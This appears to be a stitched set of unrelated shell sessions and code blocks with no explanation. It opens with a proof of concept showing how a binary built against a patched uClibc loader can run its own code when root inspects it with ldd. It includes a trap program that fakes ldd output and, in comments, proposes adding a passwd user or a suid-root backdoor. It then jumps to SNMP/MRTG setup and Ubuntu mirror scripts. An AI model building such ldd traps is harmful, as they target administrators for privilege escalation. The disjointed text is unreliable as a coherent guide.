$ ldd /bin/grep
        linux-gate.so.1 =>  (0xffffe000)
        libc.so.6 => /lib/libc.so.6 (0xb7eca000)
        /lib/ld-linux.so.2 (0xb801e000)

$ LD_TRACE_LOADED_OBJECTS=1 /bin/grep
        linux-gate.so.1 =>  (0xffffe000)
        libc.so.6 => /lib/libc.so.6 (0xb7e30000)
        /lib/ld-linux.so.2 (0xb7f84000)

$ LD_TRACE_LOADED_OBJECTS=1 /lib/ld-linux.so.2 /bin/grep
        linux-gate.so.1 =>  (0xffffe000)
        libc.so.6 => /lib/libc.so.6 (0xb7f7c000)
        /lib/ld-linux.so.2 (0xb80d0000)

$ mkdir app
$ cd app
app$ wget 'http://www.uclibc.org/downloads/uClibc-0.9.30.1.tar.bz2'

$ bunzip2 < uClibc-0.9.30.1.tar.bz2 | tar -vx
$ rm -rf uClibc-0.9.30.1.tar.bz2
$ cd uClibc-0.9.30.1
$ make menuconfig

RUNTIME_PREFIX="/usr/$(TARGET_ARCH)-linux-uclibc/"
DEVEL_PREFIX="/usr/$(TARGET_ARCH)-linux-uclibc/usr/"

RUNTIME_PREFIX="/home/you/app/uclibc/"
DEVEL_PREFIX="/home/you/app/uclibc/usr/"

--- ldso/ldso/ldso-orig.c       2009-10-25 00:27:12.000000000 +0300
+++ ldso/ldso/ldso.c    2009-10-25 00:27:22.000000000 +0300
@@ -404,9 +404,11 @@
         }  #endif
+    /*
         if (_dl_getenv("LD_TRACE_LOADED_OBJECTS", envp) != NULL) {
                 trace_loaded_objects++;
         }
+    */
   #ifndef __LDSO_LDD_SUPPORT__
         if (trace_loaded_objects) {

$ make
$ make install

#include <stdio.h>
#include <stdlib.h>
 
int main() {
  if (getenv("LD_TRACE_LOADED_OBJECTS")) {
    printf("All your things are belong to me.\n");
  }
  else {
    printf("Nothing.\n");
  }
  return 0;
}

$ L=/home/you/app/uclibc
$ gcc -Wl,--dynamic-linker,$L/lib/ld-uClibc.so.0 \
    -Wl,-rpath-link,$L/lib \
    -nostdlib \
    myapp.c -o myapp \
    $L/usr/lib/crt*.o \
    -L$L/usr/lib/ \
    -lc

app/bin$ ./myapp
Nothing.

$ su
Password:
# ldd ./myapp
All your things are belong to me.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
 
/*
This example pretends to have a fictitious library 'libat.so.0' missing.
When someone with root permissions runs `ldd this_program`, it does
something nasty in malicious() function.
 
I haven't implemented anything malicious but have written down some ideas
of what could be done.
 
This is, of course, a joke program. To make it look more real, you'd have
to bump its size, add some more dependencies, simulate trying to open the
missing library, detect if ran under debugger or strace and do absolutely
nothing suspicious, etc.
*/
 
void pretend_as_ldd()
{
    printf("\tlinux-gate.so.1 =>  (0xffffe000)\n");
    printf("\tlibat.so.0 => not found\n");
    printf("\tlibc.so.6 => /lib/libc.so.6 (0xb7ec3000)\n");
    printf("\t/lib/ld-linux.so.2 (0xb8017000)\n");
}
 
void malicious()
{
    if (geteuid() == 0) {
        /* we are root ... */
        printf("poof, all your box are belong to us\n");
 
        /* silently add a new user to /etc/passwd, */
        /* or create a suid=0 program that you can later execute, */
        /* or do something really nasty */
    }
}
 
int main(int argc, char **argv)
{
    if (getenv("LD_TRACE_LOADED_OBJECTS")) {
        malicious();
        pretend_as_ldd();
        return 0;
    }
 
    printf("%s: error while loading shared libraries: libat.so.0: "
           "cannot open shared object file: No such file or directory\n",
           argv[0]);
    return 127;
}

sudo apt-get install snmpd mrtg

#       sec.name  source          community
#com2sec paranoid  default         public   #注释掉这行
com2sec readonly  default         public    #再把这行打开
#com2sec readwrite default         private

sudo /etc/init.d/snmpd restart

cfgmaker --global "WorkDir: /data/mirrors/mrtg" public@localhost | sudo tee /etc/mrtg.cfg

sudo indexmaker /etc/mrtg.cfg | sudo tee /data/mirrors/mrtg/index.html

#!/bin/bash
 
rmie(){
while [ -n "$1" ] ; do
        [ -f $1 ] && rm $1
        shift
done
}
 
urls=`curl https://launchpad.net/ubuntu/+archivemirrors | \
tr -d "\n" | sed  's/<\/tr>/\n/g' | grep "Up to date"|grep '>rsync</a>'|awk -F '"' '{print $4}'`
rmie res
{
echo "$urls" | while read url;do 
echo "testing... $url"
rmie T
wget -q --no-cache -O T "$url/ls-lR.gz" &
sleep 5
kill %% 
echo -n "$url " >> res
ls -l T >>res
done
} 2>/dev/null
 
sort -k 6 -n res > fast_mirror_`date +%F`
rmie res T

#!/bin/bash
[[ $UID == 0 ]] || { echo "Must be root to run this script."; exit 0; }
LOCK="/data/sync_sh/lock"
LOG="/data/sync_sh/log"
 
while true; do
echo -e "\nstart sync @ `date`" | tee -a $LOG
 
if [ -f $LOCK ]; then
	echo "another sync is running, I exiting..." | tee -a $LOG
	exit 1
fi
touch $LOCK
 
st=`date +%s`
rsync --timeout=120 --exclude=".~tmp~" -avP --delete-excluded --progress rsync://archive.ubuntu.com/ubuntu/pool/ /data/mirrors/ubuntu/pool/
res=$?
if [ $res -eq 0 ]; then
	echo "rsync pool succ" | tee -a $LOG
	et=`date +%s`
	echo "pool sync use $(( $et-$st )) sec = $(( ($et-$st)/60 )):$(( ($et-$st)%60 ))" | tee -a $LOG
else
	echo "rsync pool failed" $res | tee -a $LOG
fi
 
st=`date +%s`
rsync --timeout=120 --exclude=".~tmp~" -avP --delete-excluded --progress rsync://archive.ubuntu.com/ubuntu/ /data/mirrors/ubuntu/
res=$?
if [ $res -eq 0 ]; then
        echo "rsync all succ" | tee -a $LOG
        et=`date +%s`
        echo "all sync use $(( $et-$st )) sec = $(( ($et-$st)/60 )):$(( ($et-$st)%60 ))" | tee -a $LOG
else
        echo "rsync all failed" $res | tee -a $LOG
fi
 
df | grep "/data" | tee -a $LOG
echo -e "end sync @ `date`" | tee -a $LOG
 
rm $LOCK
 
sleep 7200
done